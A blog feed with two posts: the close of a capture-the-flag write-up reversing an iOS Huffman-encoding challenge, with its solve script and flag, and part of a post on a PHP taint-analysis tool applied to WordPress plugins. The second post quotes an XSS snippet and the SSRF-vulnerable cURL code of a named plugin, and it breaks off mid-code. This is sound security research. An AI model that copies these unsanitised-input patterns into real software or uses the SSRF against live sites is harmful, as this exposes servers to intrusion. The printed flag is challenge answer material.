Note: The original version of the app is still solvable. The update is only for those who wish to run the app on a 32bit device.<br />
Update: If you are attempting to solve the 32bit challenge and running into issues, contact @suspiciousfudge on the Slack channel</p>
</blockquote>
<p>***I noticed that the 32-bit version was not solve-able and so I told @suspiciousfudge and he updated the binary after.</p>
<p>For the last iOS Challenge, running the app displays a text input that appears to be encoded with some sort of huffman tree.</p>
<p>We then throw the binary into IDA Pro. We see a couple of class being defined, <code class="language-plaintext highlighter-rouge">MrPoopyButtHoleThing</code>, <code class="language-plaintext highlighter-rouge">MrPoopyButtholeWasInnocent</code> and <code class="language-plaintext highlighter-rouge">MrPoopyButtholeGappingOrifice</code>, this three methods seems to be the binaryheaptree used to build the huffman tree.</p>
<p>We are then able to find a suspicious String constant <code class="language-plaintext highlighter-rouge">That's Right Morty! This is gonna be a lot like that. Except you know. Its gonna make sense.</code> and</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque suscipit, ligula vitae fringilla fringilla, lectus tortor eleifend ligula, vitae sodales mauris nibh a elit. Maecenas nec pellentesque massa. Curabitur volutpat lobortis risus id aliquet. Donec eget viverra enim. Etiam massa nibh, lobortis id pretium quis, consequat ut libero. Integer aliquet lacinia ex sed porttitor. Maecenas auctor eget nisl et mollis. Mauris et suscipit lorem, a facilisis magna. Etiam at facilisis lacus, mollis rhoncus lorem. Morbi vitae volutpat lectus. Donec ut vestibulum justo. Nullam ullamcorper ligula vel dignissim viverra. Quisque mi sapien, auctor quis quam ac, gravida ullamcorper purus. Morbi ut mi vitae massa dapibus rhoncus sed ut ipsum. Suspendisse accumsan dui at velit ultrices, ac hendrerit metus ullamcorper.Duis volutpat condimentum faucibus. Aliquam ex nisl, sodales in urna vel, vestibulum faucibus metus. Donec dapibus ante magna, luctus hendrerit felis commodo vitae. Vivamus quis sodales quam. Nullam dictum venenatis eros, vitae feugiat erat sollicitudin eu. Mauris aliquam, purus id porta porttitor, ligula felis egestas ex, non feugiat urna sem a nisi. Nunc eget tincidunt lorem, et dictum diam. Integer sodales tempus finibus. Donec pharetra ut risus sit amet bibendum. Morbi molestie lacinia varius. Duis diam dui, pulvinar non orci a, malesuada dictum metus. Morbi semper at ante in dignissim. Maecenas at molestie nibh. Mauris sollicitudin, ipsum eu imperdiet tristique, neque purus tristique sem, quis porta leo libero et orci. Fusce sed odio lobortis, pharetra justo et, tristique mauris. Vestibulum in interdum libero, et euismod lacus. Nulla volutpat pulvinar tortor at placerat. In non magna eget nibh egestas lacinia eleifend eu metus. Nullam ac mattis nisi. Curabitur porttitor enim sed elementum interdum. Duis sed molestie enim. Nullam varius ex efficitur efficitur mollis. Vestibulum in sollicitudin erat. Quisque in turpis eget leo eleifend ultricies at blandit arcu. Vivamus at pretium quam. Praesent laoreet ligula faucibus ante tincidunt, in euismod massa auctor.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_
</code></pre></div></div>
<p>The second string appears to be the string for which the huffman tree is built on. I proved my hypothesis by attempting to encode characters that doesn’t exist within the second string, and for those characters, the encoding fails. Also, we see that at the end of the string, there is the <code class="language-plaintext highlighter-rouge">{}_</code>, those are common characters found in CTF flags and was the initial reason for my suspicion.</p>
<p>With that being said, we are able to trace the Morty message to a method located at <code class="language-plaintext highlighter-rouge">0xA514</code>. In the method,</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre><span class="n">sub_AE7A</span><span class="p">((</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">unk_154EC</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">unk_154FC</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v18</span><span class="p">,</span> <span class="mi">304</span><span class="p">);</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v16</span> <span class="o"><</span> <span class="mh">0x130</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v18</span><span class="p">[</span><span class="n">v16</span><span class="p">]</span> <span class="o">!=</span> <span class="n">byte_1550C</span><span class="p">[</span><span class="n">v16</span><span class="p">]</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v19</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">++</span><span class="n">v16</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">free</span><span class="p">(</span><span class="n">v18</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v19</span> <span class="o">&</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v13</span> <span class="o">=</span> <span class="n">_objc_msgSend</span><span class="p">(</span><span class="o">&</span><span class="n">OBJC_CLASS___NSMutableString</span><span class="p">,</span> <span class="s">"stringWithString:"</span><span class="p">);</span>
<span class="n">v28</span> <span class="o">=</span> <span class="n">objc_retainAutoreleasedReturnValue</span><span class="p">(</span><span class="n">v13</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>It seems like our encoded input is fed to the method <code class="language-plaintext highlighter-rouge">sub_AE7A</code>, before being compared to the 0x130 sized byte array <code class="language-plaintext highlighter-rouge">byte_1550C</code>. However, attempts to reverse engineer <code class="language-plaintext highlighter-rouge">sub_AE7A</code> proves to be too complex, and so I chose to go the path of dynamic analysis.</p>
<p>Since the encoded input is thrown into <code class="language-plaintext highlighter-rouge">sub_AE7A</code>, the encoded input string should be <code class="language-plaintext highlighter-rouge">1</code> or <code class="language-plaintext highlighter-rouge">0</code>, therefore, I need to provide a plaintext input that gets encoded to a string of <code class="language-plaintext highlighter-rouge">1</code> or <code class="language-plaintext highlighter-rouge">0</code> only with a length of 304 characters.</p>
<p>With that being said, I found that <code class="language-plaintext highlighter-rouge">e</code> is encoded to <code class="language-plaintext highlighter-rouge">1111</code>, and so, 76 e’s would give us an encoded string of 304*<code class="language-plaintext highlighter-rouge">1</code>. And so, Making us of <code class="language-plaintext highlighter-rouge">debugserver</code> and <code class="language-plaintext highlighter-rouge">lldb</code>, I set a breakpoint at <code class="language-plaintext highlighter-rouge">0x0000A780</code> and dumped the result of the method call for <code class="language-plaintext highlighter-rouge">sub_AE7A</code>.</p>
<p>After some testing, I found out that the encoded string is xor’ed with some unknown values and then compared to <code class="language-plaintext highlighter-rouge">byte_1550C</code>, and so, with the dumped values from before, I wrote a quick Python script to xor each byte with <code class="language-plaintext highlighter-rouge">0x31</code> which is the hexadecimal representation of <code class="language-plaintext highlighter-rouge">1</code>, and then comparing this with <code class="language-plaintext highlighter-rouge">byte_1550C</code>, I obtained the encoded string value which we are suppose to provide to solve this challenge.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
</pre></td><td class="code"><pre><span class="n">test</span> <span class="o">=</span> <span class="s">"1001}011100}01011}00110}1111}0111110}001110}11100110}000}1110010110}01110110110}0100}11010}11101}11011}011110}0111111}0010}0110}1000}1100}010100}01110101011}111001000}01110101010}01110110100}0101011011}01110110000}010101000}01110111}010101001}0101011100}01110110111}01110100001}010101100}01110100010}01110101101}0111010010}11100111}01010101}11100100101}1110010011}1110010111}11100100100}0111010011}01110101111}01110101110}111001010}01110100000}01010110100}01010111101}01010111111}01010110101}01010111011}01110110011}01110110001}01110100011}01110110101}01010111100}01110110010}01110101100}01010111010}01110101001}01010111110"</span>
<span class="n">value</span><span class="o">=</span> <span class="p">{</span> <span class="s">" "</span> <span class="p">:</span> <span class="s">"101"</span><span class="p">,</span> <span class="s">","</span> <span class="p">:</span> <span class="s">"010100"</span><span class="p">,</span> <span class="s">"."</span> <span class="p">:</span> <span class="s">"111000"</span><span class="p">,</span> <span class="s">"0"</span> <span class="p">:</span> <span class="s">"01110101110"</span><span class="p">,</span> <span class="s">"1"</span> <span class="p">:</span> <span class="s">"01110110011"</span><span class="p">,</span> <span class="s">"2"</span> <span class="p">:</span> <span class="s">"01110101010"</span><span class="p">,</span> <span class="s">"3"</span> <span class="p">:</span> <span class="s">"01110111000"</span><span class="p">,</span> <span class="s">"4"</span> <span class="p">:</span> <span class="s">"01110101111"</span><span class="p">,</span> <span class="s">"5"</span> <span class="p">:</span> <span class="s">"01010110110"</span><span class="p">,</span> <span class="s">"6"</span> <span class="p">:</span> <span class="s">"01110110111"</span><span class="p">,</span> <span class="s">"7"</span> <span class="p">:</span> <span class="s">"01110110110"</span><span class="p">,</span> <span class="s">"8"</span> <span class="p">:</span> <span class="s">"01110111100"</span><span class="p">,</span> <span class="s">"9"</span> <span class="p">:</span> <span class="s">"01010110101"</span><span class="p">,</span> <span class="s">"A"</span> <span class="p">:</span> <span class="s">"0111010110"</span><span class="p">,</span> <span class="s">"B"</span> <span class="p">:</span> <span class="s">"01110111110"</span><span class="p">,</span> <span class="s">"C"</span> <span class="p">:</span> <span class="s">"1110011110"</span><span class="p">,</span> <span class="s">"D"</span> <span class="p">:</span> <span class="s">"01110100"</span><span class="p">,</span> <span class="s">"E"</span> <span class="p">:</span> <span class="s">"010101000"</span><span class="p">,</span> <span class="s">"F"</span> <span class="p">:</span> <span class="s">"0101011110"</span><span class="p">,</span> <span class="s">"G"</span> <span class="p">:</span> <span class="s">"01110111101"</span><span class="p">,</span> <span class="s">"H"</span> <span class="p">:</span> <span class="s">"01010110100"</span><span class="p">,</span> <span class="s">"I"</span> <span class="p">:</span> <span class="s">"010101110"</span><span class="p">,</span> <span class="s">"J"</span> <span class="p">:</span> <span class="s">"01110110001"</span><span class="p">,</span> <span class="s">"K"</span> <span class="p">:</span> <span class="s">"01110110000"</span><span class="p">,</span> <span class="s">"L"</span> <span class="p">:</span> <span class="s">"0101011000"</span><span class="p">,</span> <span class="s">"M"</span> <span class="p">:</span> <span class="s">"11100110"</span><span class="p">,</span> <span class="s">"N"</span> <span class="p">:</span> <span class="s">"01010101"</span><span class="p">,</span> <span class="s">"O"</span> <span class="p">:</span> <span class="s">"11100111001"</span><span class="p">,</span> <span class="s">"P"</span> <span class="p">:</span> <span class="s">"1110011101"</span><span class="p">,</span> <span class="s">"Q"</span> <span class="p">:</span> <span class="s">"1110011111"</span><span class="p">,</span> <span class="s">"R"</span> <span class="p">:</span> <span class="s">"01110101000"</span><span class="p">,</span> <span class="s">"S"</span> <span class="p">:</span> <span class="s">"0101011001"</span><span class="p">,</span> <span class="s">"T"</span> <span class="p">:</span> <span class="s">"01010110111"</span><span class="p">,</span> <span class="s">"U"</span> <span class="p">:</span> <span class="s">"01010111111"</span><span class="p">,</span> <span class="s">"V"</span> <span class="p">:</span> <span class="s">"111001001"</span><span class="p">,</span> <span class="s">"W"</span> <span class="p">:</span> <span class="s">"01110110101"</span><span class="p">,</span> <span class="s">"X"</span> <span class="p">:</span> <span class="s">"01110101011"</span><span class="p">,</span> <span class="s">"Y"</span> <span class="p">:</span> <span class="s">"01110111011"</span><span class="p">,</span> <span class="s">"Z"</span> <span class="p">:</span> <span class="s">"01110111010"</span><span class="p">,</span> <span class="s">"_""" : "</span><span class="mi">01110110010</span><span class="s">", "</span><span class="n">a</span><span class="s">" : "</span><span class="mi">1000</span><span class="s">", "b" : "</span><span class="mi">011100</span><span class="s">", "</span><span class="n">c</span><span class="s">" : "</span><span class="mi">01011</span><span class="s">", "</span><span class="n">d</span><span class="s">" : "</span><span class="mi">00110</span><span class="s">", "</span><span class="n">e</span><span class="s">" : "</span><span class="mi">1111</span><span class="s">", "f" : "</span><span class="mi">0111110</span><span class="s">", "</span><span class="n">g</span><span class="s">" : "</span><span class="mi">001110</span><span class="s">", "</span><span class="n">h</span><span class="s">" : "</span><span class="mi">11100101</span><span class="s">", "</span><span class="n">i</span><span class="s">" : "</span><span class="mi">000</span><span class="s">", "</span><span class="n">j</span><span class="s">" : "</span><span class="mi">010101001</span><span class="s">", "</span><span class="n">k</span><span class="s">" : "</span><span class="mi">01010111110</span><span class="s">", "</span><span class="n">l</span><span class="s">" : "</span><span class="mi">0100</span><span class="s">", "</span><span class="n">m</span><span class="s">" : "</span><span class="mi">11010</span><span class="s">", "</span><span class="n">n</span><span class="s">" : "</span><span class="mi">11101</span><span class="s">", "</span><span class="n">o</span><span class="s">" : "</span><span class="mi">11011</span><span class="s">", "</span><span class="n">p</span><span class="s">" : "</span><span class="mi">011110</span><span class="s">", "</span><span class="n">q</span><span class="s">" : "</span><span class="mi">0111111</span><span class="s">", "r" : "</span><span class="mi">0010</span><span class="s">", "</span><span class="n">s</span><span class="s">" : "</span><span class="mi">0110</span><span class="s">", "</span><span class="n">t</span><span class="s">" : "</span><span class="mi">1001</span><span class="s">", "u" : "</span><span class="mi">1100</span><span class="s">", "</span><span class="n">v</span><span class="s">" : "</span><span class="mi">001111</span><span class="s">", "</span><span class="n">w</span><span class="s">" : "</span><span class="mi">01110111111</span><span class="s">", "</span><span class="n">x</span><span class="s">" : "</span><span class="mi">111001000</span><span class="s">", "</span><span class="n">y</span><span class="s">" : "</span><span class="mi">01110101001</span><span class="s">", "</span><span class="n">z</span><span class="s">" : "</span><span class="mi">01110111001</span><span class="s">", "</span><span class="p">{</span><span class="s">" : "</span><span class="mi">01110110100</span><span class="s">", "</span><span class="p">}</span><span class="s">" : "</span><span class="mi">01110101000</span><span class="s">" }
b = "</span><span class="n">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789</span><span class="p">{</span><span class="n">_</span><span class="s">"
for x,i in enumerate(test.split("</span><span class="p">}</span><span class="s">")):
#print i,x
value[b[x]]=i
#c5eg s I r Gr esatcn guc a toi oi osskl997ktakmeeeeeeeeeeeR
remappedValue = dict()
for i in value:
remappedValue[value[i]] = i
#print hex(int(value[i],2))
flag = """77 5E 85 25 7A C9 2F B3 31 13 5B B0 E7 89 4E 0B 36 35 D9 1A BB CE EF D6 0E 68 2C 3F C3 9E 94 89 ED 76 0C 39 23 1E 2D 62 44 8C 01 A9 2D AF E9 F0 4B C3 CC BC EB 26 21 61 E5 B6 21 99 6A E4 A8 0A AA 1A FB F6 10 B1 E7 50 47 05 71 9B CB D5 D8 23 6F B4 39 A1 F9 28 B9 F5 14 3B 0C 06 ED 65 D7 D4 D6 25 29 54 6E D9 1B C8 40 68 97 1B 57 D1 43 5B 7B 1E E9 39 13 F0 75 ED C1 7B 1E 71 86 0A 75 5E 68 50 80 0F F4 BA 04 86 9A 69 5A B3 84 BD 8E BF 5D BB CD F6 0F 86 51 7B F9 4E 51 F8 98 C1 03 2E 30 58 CE F8 F0 B9 E9 23 97 8D 83 56 56 86 98 46 EE D7 C6 B2 B6 E4 A3 FB 6C 57 91 85 51 3D F6 07 8C 62 65 98 41 EB 9A F6 14 28 AC 9B DD E2 F7 F3 0C 86 01 60 09 89 11 AC C6 A2 0C BE 2B D2 99 47 EB 11 43 A7 F5 B3 9E 02 7B 89 4C 5C 57 D9 8E 13 27 E3 80 D5 2A 4A 56 78 82 64 4C D6 36 96 81 B1 F1 0E 47 63 23 1C 90 72 7F 3C 81 DA C6 E1 7E 01 CD 90 77 45 39 26 76 CC 79 2A 83 37 90 20 8E F0 61 BA 66 F4 82 4A 3E B1 EB 35 2B 87 15 EE 40 F7"""
key = """76 5e 84 25 7a c8 2f b2 31 12 5b b0 e6 89 4e 0a 36 35 d9 1a ba cf ef d6 0e 69 2c 3e c3 9f 94 89 ec 76 0d 39 22 1e 2c 62 45 8c 01 a9 2c af e8 f0 4a c2 cc bd eb 27 21 60 e5 b6 21 98 6a e4 a8 0a ab 1a fa f7 10 b0 e7 51 47 05 71 9b cb d4 d8 23 6e b4 38 a0 f8 28 b8 f4 14 3a 0c 07 ed 65 d7 d4 d6 24 29 54 6f d9 1a c9 40 68 97 1a 57 d1 42 5a 7a 1e e8 39 13 f0 74 ed c1 7a 1f 70 86 0b 75 5e 69 51 80 0f f4 bb 04 86 9b 68 5b b3 85 bd 8e bf 5c bb cd f7 0e 87 51 7a f9 4e 51 f9 98 c1 02 2e 30 59 cf f8 f0 b8 e8 23 96 8d 82 56 56 86 98 46 ef d6 c6 b3 b7 e5 a3 fa 6c 56 91 85 50 3d f7 07 8d 62 64 98 40 eb 9a f7 14 29 ac 9a dd e2 f7 f2 0c 86 00 60 09 88 10 ac c7 a2 0d be 2b d2 99 47 ea 11 42 a6 f5 b3 9f 03 7a 88 4c 5d 57 d8 8e 13 27 e3 80 d4 2a 4a 57 78 83 64 4c d6 36 96 81 b1 f1 0e 47 63 23 1c 90 72 7f 3c 81 da c6 e1 7e 01 cd 90 77 45 39 26 76 cc 79 2a 83 37 90 20 8e f0 61 ba 66 f4 82 4b 3e b1 eb 34 2b 86 15 ef 41 f6"""
flag = flag.split("</span> <span class="s">")
key = key.split("</span> <span class="s">")
for x,i in enumerate(key):
key[x]= ("</span><span class="mi">0</span><span class="s">"+hex(int(key[x],16)^0x31)[2:])[-2:]
from pwn import *
flag_real = ""
for x,i in enumerate(key):
#print x,i, flag[x], xor(int(i,16),int(flag[x],16))
flag_real += xor(int(i,16),int(flag[x],16))
curr = ""
flag3=""
for i in flag_real:
if curr+i in remappedValue:
#skip
curr=curr+i
continue
elif curr in remappedValue:
flag3+=remappedValue[curr]
curr = i
else:
curr=curr+i
print flag3+remappedValue[curr]</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running this Python script gave us our last flag!</p>
<p>Flag #6: <code class="language-plaintext highlighter-rouge">cApwN{1m_mr_m33s33ks_l00k_at_meeeeeeeeeee}</code></p>
<h3 id="extra-information">Extra information</h3>
<p>Notice that in my Python Script, the huffman tree is obtained in a pretty hackish way, this way due to the errors in the 32-bit binaries at the start. I then noticed that with the huffman tree of the 64-bit binary, I’d then be able to get <code class="language-plaintext highlighter-rouge">cApwN</code> at the start of the encoded flag and so, I devised a way to obtain the 64-bit binary huffman tree.</p>
<p>The reason why I was not able to use <code class="language-plaintext highlighter-rouge">snoop-it</code> was because I do not have a jailbroken 64-bit device.</p>
<p>To obtain the huffman tree for 64-bit, I crafted a plaintext string that contains every possible character needed in a normal flag.</p>
<p>The list of possible characters are:
<code class="language-plaintext highlighter-rouge">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_</code></p>
<p>In order to delimit the encoding, I used <code class="language-plaintext highlighter-rouge">}</code> as a delimiter inbetween each character. As <code class="language-plaintext highlighter-rouge">}</code> is located at the bottom of the huffman tree (based on playing around and experimenting), we are able to confidently delimit the encoded huffman code to obtain the accurate 64-bit huffman tree values for each character.</p>
<h3 id="special-thanks-to-the-hackerone-team-for-the-awesome-challenges">Special thanks to the hackerone team for the awesome challenges!</h3>
<p><a href="https://quanyang.github.io/h1-702-ctf-2017-write-ups/">H1-702 CTF 2017 - Write Ups</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on July 18, 2017.</p>
https://quanyang.github.io/part-1-continuous-pwning2016-12-08T10:56:24+00:002016-12-08T10:56:24+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>This article is the first part of many on a Taint Analysis Tool I wrote for the PHP Programming Language. This part talks about how I make use of the tool to automatically look for vulnerabilities in the top 1000 WordPress Plugin!</p>
<h4 id="introduction">Introduction</h4>
<p>Most of us are familar with the term Continuous integration (CI) where changes to a code repository could be automatically merged or even deployed. However, security is rarely taken into consideration when setting up CI environments. Even with automated testing in place, vulnerabilities could go undiscovered if testing was not done rigorously.</p>
<p>Taint analysis is a form of information-flow analysis where one can trace tainted inputs from the point of introduction to the point it was used. When a tainted input is used by a sensitive function, it could possibly be a security vulnerability.</p>
<p>The following is one such example; when a tainted input is echo’ed in PHP without going through any sanitization, it introduces a cross-site scripting (XSS) vulnerability.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="nv">$tainted_input</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'search'</span><span class="p">];</span>
<span class="k">echo</span> <span class="s2">"You searched for '</span><span class="nv">$tainted_input</span><span class="s2">'"</span><span class="p">;</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>As part of my dissertation project, I designed and implemented a Static Taint Analysis tool for the PHP language. In order to improve the precision of the analysis, I augmented the initial Static Taint Analysis with Symbolic Execution and therefore is able to determine if a certain execution path is reachable. You can try out a demo of the tool <a href="http://taint.spro.ink">here</a>.</p>
<p>Now imagine if we integrate this tool into a CI workflow where applications are automatically scanned for taint-based vulnerabilities and vulnerabilities are flagged when found, less vulnerabilities would be introduced into production and less work would be needed for engineers to fix them later.</p>
<p>The rest of this article talks about an experiment I did with the top 1000 WordPress plugins and an example of a vulnerability I found and reported. Though the experiment is not fully automatic, it shows a potential for a fully-automatic process where new plugins could be automatically downloaded and tested.</p>
<p>WordPress plugins makes for a very good testing target as the source-code of plugins are readily available for download and the WordPress sanitizers/sinks are known beforehand.</p>
<h4 id="automatically-download-the-top-1000-wordpress-plugins">Automatically Download the top 1000 WordPress plugins</h4>
<p>A quick search brings up many ways to automatically download WordPress plugins. One such example is <a href="https://github.com/gehaxelt/Python-Wordpress-Plugin-Downloader">https://github.com/gehaxelt/Python-Wordpress-Plugin-Downloader</a>, this script could be used to download the most popular WordPress plugins (Top 1000).</p>
<p>You could also write a simple script to automatically download WordPress plugins of any version from <a href="http://plugins.svn.wordpress.org/">http://plugins.svn.wordpress.org/</a>.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre>→ <span class="nb">ls</span> <span class="nt">-la</span>
...
drwxr-xr-x 999 quanyang staff 33966 Nov 9 19:34 downloaded
</pre></td></tr></tbody></table></code></pre></figure>
<p>It takes awhile, but the top 1000 plugins would eventually be downloaded.</p>
<h4 id="continuous-pwning">Continuous Pwning</h4>
<p>In the Taint Analysis implementation, it takes in a Taint Policy consisting of Sources, Sinks and Sanitizers. In this case, we can add the known WordPress sanitizers like <code class="language-plaintext highlighter-rouge">esc_attr</code> and <code class="language-plaintext highlighter-rouge">esc_html</code> as well as sinks like <code class="language-plaintext highlighter-rouge">query</code>.</p>
<p>With that, we can then begin to run the tool against all the PHP files in the plugins downloaded. As the tool is written in Python, we can easily write a Python script to enumerate all PHP files and to run the tool against one-by-one.</p>
<p>In order to speed things up, I also make use of multiprocessing in Python to test 4 different plugins at any instant.</p>
<p>Based on initial testing without true verification of exploitability, it detected a total of <strong>712</strong> possible vulnerability within the top 1000 plugins! However, some of them could be false positives and needs further testing to verify.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre>root@ubuntu-512mb-sgp1-01:/wp_research# python consolidate.py
<span class="o">></span>
<span class="o">{</span>u<span class="s1">'Reflection Injection'</span>: 3, u<span class="s1">'Code Execution'</span>: 11, u<span class="s1">'Protocol Injection'</span>: 4, u<span class="s1">'HTTP Response Splitting'</span>: 39, u<span class="s1">'Command Execution'</span>: 1, u<span class="s1">'Session Fixation'</span>: 2, u<span class="s1">'PHP Object Injection'</span>: 30, u<span class="s1">'Possible Flow Control'</span>: 23, u<span class="s1">'SQL Injection'</span>: 19, u<span class="s1">'File Inclusion'</span>: 24, u<span class="s1">'File Manipulation'</span>: 65, u<span class="s1">'File Disclosure'</span>: 62, u<span class="s1">'Cross-Site Scripting'</span>: 429<span class="o">}</span>
Total: 712
</pre></td></tr></tbody></table></code></pre></figure>
<h4 id="case-study-ssrf-in-nelio-ab-testing-wordpress-plugin">Case Study: SSRF in Nelio AB Testing WordPress Plugin</h4>
<p>Nelio AB Testing is a WordPress plugin used for A/B Testing in WordPress pages. We can download the source-code of the Plugin from <a href="plugins.svn.wordpress.org/nelio-ab-testing/tags/4.5.8/">plugins.svn.wordpress.org/nelio-ab-testing/tags/4.5.8/</a>.</p>
<p>Server-side Request Forgery (SSRF) is a vulnerability where requests can be made from the vulnerable server to the intra/internet. Though it does not seem to have serious impact, using a protocol supported by certain URI schemes, an attacker could collect various information about the server or even achieve remote code execution (RCE). There is a very comprehensive cheat-sheet for SSRF available <a href="https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit">here</a>.</p>
<p>Zooming in to the vulnerable PHP script at <code class="language-plaintext highlighter-rouge">./ajax/iesupport.php</code>. It is obvious from manual analysis that we are able to control the URL that would eventually be cURL’ed by the server.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="o">**</span> <span class="nc">Truncated</span> <span class="o">**</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'originalRequestUrl'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'originalRequestUrl'</span><span class="p">];</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nb">preg_replace</span><span class="p">(</span> <span class="s1">'/^\/\//'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$url</span> <span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="c1">// Silence is gold</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'data'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'data'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="c1">// Silence is gold</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$was_data_sent</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nv">$was_data_sent</span> <span class="o">&&</span> <span class="nb">function_exists</span><span class="p">(</span> <span class="s1">'curl_version'</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="c1">//open connection</span>
<span class="nv">$ch</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span> <span class="nv">$ch</span> <span class="p">)</span> <span class="p">{</span>
<span class="c1">//set the url, number of POST vars, POST data</span>
<span class="nb">curl_setopt</span><span class="p">(</span> <span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$url</span> <span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span> <span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_POST</span><span class="p">,</span> <span class="nb">substr_count</span><span class="p">(</span> <span class="nv">$data</span><span class="p">,</span> <span class="s1">'='</span> <span class="p">)</span> <span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span> <span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_POSTFIELDS</span><span class="p">,</span> <span class="nv">$data</span> <span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_REFERER'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span>
<span class="nb">curl_setopt</span><span class="p">(</span> <span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_REFERER</span><span class="p">,</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_REFERER'</span><span class="p">]</span> <span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_USER_AGENT'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span>
<span class="nb">curl_setopt</span><span class="p">(</span> <span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_USERAGENT</span><span class="p">,</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_USER_AGENT'</span><span class="p">]</span> <span class="p">);</span>
<span class="c1">//execute post</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span> <span class="nv">$ch</span> <span class="p">);</span>
<span class="c1">//close connection</span>
<span class="nb">curl_close</span><span class="p">(</span> <span class="nv">$ch</span> <span class="p">);</span>
